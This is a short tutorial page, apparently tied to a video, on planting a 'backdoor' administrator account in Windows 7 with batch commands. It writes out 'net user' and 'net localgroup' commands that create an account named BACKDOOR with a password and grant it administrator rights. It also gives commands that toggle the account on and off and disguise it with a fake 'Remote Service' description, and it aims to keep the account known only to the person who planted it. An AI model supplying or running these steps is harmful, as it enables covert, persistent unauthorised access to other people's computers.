HOW TO-Add Backdoor in Windows 7

HOW TO-Add Backdoor in Windows 7 This is a simple batch file “how to” nothing complicated. In my follow up video titled “HOW TO-Hide User Account in Windows 7”, I will show you how to hide your new backdoor from other users, so only you will know about it. ALSO… Keep an eye out for “HOW TO-Access Command Prompt from Login Screen in Windows 7″ @ECHO OFF NET USER BACKDOOR PASSWORD /ADD NET LOCALGROUP ADMINISTRATORS BACKDOOR /ADD Other user commands: @ECHO OFF REM LIST OF ALL USERS NET USERS REM INFO ON CERTAIN USER NET USERS BACKDOOR REM INFO ON LOCALGROUPS net localgroup REM ADDS BACKDOOR net users BACKDOOR /add or with password NET USER BACKDOOR PASSWORD /ADD REM MAKES NEWUSER ADMIN net localgroup administrators BACKDOOR /add REM ADDS OPTION FOR PASSWORD NET USERS BACKDOOR * OR NEW USER BACKDOOR PASSWORD REM EXPIRE ACCOUNT AT CERTAIN TIME NET USER BACKDOOR /EXPIRES:12/31/2010 OR NEVER EXPIRES (DEFAULT) NET USER BACKDOOR /EXPIRES:NEVER REM DISABLE ACCOUNT (MAKE ACCOUNT INVISIBLE) NET USER BACKDOOR /ACTIVE:NO OR Switch it on again NET USER BACKDOOR /ACTIVE:YES REM CHANGES NAME OF USER ON LOGON SCREEN (PURPOSE UNKNOWN) net user IUSR_WAN /fullname:”Remote Service Account” REM UNKNOWN net user BACKDOOR /comment:”Built-in account for Remote Service” REM ADD MULTIPLE COMMANDS IN DOS ON ONE LINE && REM DELETE USER NET USER BACKDOOR /DELETE REM EXAMPLE NET USER BACKDOOR PASSWORD /ADD && NET LOCALGROUP ADMINISTRATORS BACKDOOR /ADD